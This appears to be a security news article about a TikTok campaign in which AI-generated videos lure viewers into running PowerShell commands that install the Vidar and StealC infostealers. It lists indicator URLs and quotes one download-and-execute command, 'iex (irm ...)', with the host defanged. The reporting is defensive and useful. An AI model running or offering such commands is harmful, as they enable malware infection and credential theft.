Warning – Viral TikTok Videos Spread Pirated Apps and Malware Risks

Recent investigations have revealed a concerning new trend: threat actors are exploiting TikTok’s massive reach to distribute information-stealing malware, including notorious strains such as Vidar and StealC.

This campaign cleverly utilizes AI-generated videos to deceive users into executing malicious PowerShell commands, presenting them as legitimate software activation steps.

The Mechanics Behind the Attack

Security researchers have identified a sophisticated social engineering campaign exploiting TikTok’s algorithm. Attackers create faceless, AI-generated videos instructing users to activate popular software such as Windows, Microsoft Office, CapCut, and Spotify.

These videos, some with over 500,000 views, guide viewers to open PowerShell and execute commands that download and run scripts from suspicious websites.

For example, one common instruction is to type:

textiex (irm hxxps://allaivo[.]me/spotify)

This command downloads a remote script, which then orchestrates a multi-stage attack.

The script creates hidden directories in the user’s APPDATA and LOCALAPPDATA folders, adds these locations to the Windows Defender exclusion list to evade detection, and downloads a secondary payload identified as either Vidar or StealC malware from a remote server.

The malware is then executed as a hidden, elevated process, and persistence is established via registry keys to ensure the malicious script runs at startup.

Indicators and Infrastructure

The attackers use a range of URLs and IPs for their command-and-control (C&C) infrastructure, including:

• hxxps://allaivo[.]me/spotify
• hxxps://amssh[.]co/file[.]exe
• hxxps://amssh[.]co/script[.]ps1
• hxxps://steamcommunity[.]com/profiles/76561199846773220
• hxxps://t[.]me/v00rd
• hxxp://91[.]92[.]46[.]70/1032c730725d1721[.]php

Vidar malware, in particular, abuses legitimate services like Steam and Telegram as “dead drop resolvers,” embedding C&C server information within public profiles to avoid detection.

The campaign’s scale is amplified by the use of AI-generated content, enabling attackers to produce and tailor videos for different audiences rapidly.

Security Implications and Recommendations

The shift to social media as a malware delivery mechanism poses significant challenges for traditional security controls.

Since malicious instructions are delivered visually and aurally within video content, rather than as executable code, standard detection tools may miss these threats.

Businesses and individuals are vulnerable to data exfiltration, credential theft, and system compromise.

To mitigate these risks, experts recommend:

• Monitor for unusual PowerShell or command execution: Look for unexpected system utility usage, especially downloads from unknown URLs.
• Strengthen social engineering awareness: Train users to scrutinize unsolicited technical instructions, verify video sources, and report suspicious content.
• Expand threat monitoring to social media: Integrate social media threat intelligence feeds to track emerging campaigns and high-engagement content linked to technical instructions.

Security platforms like Trend Vision One™ offer advanced detection and hunting capabilities, but the most effective defense remains a combination of technical controls and user education.

As threat actors continue to exploit popular platforms, vigilance and proactive security measures are crucial for staying safe in an increasingly complex digital landscape.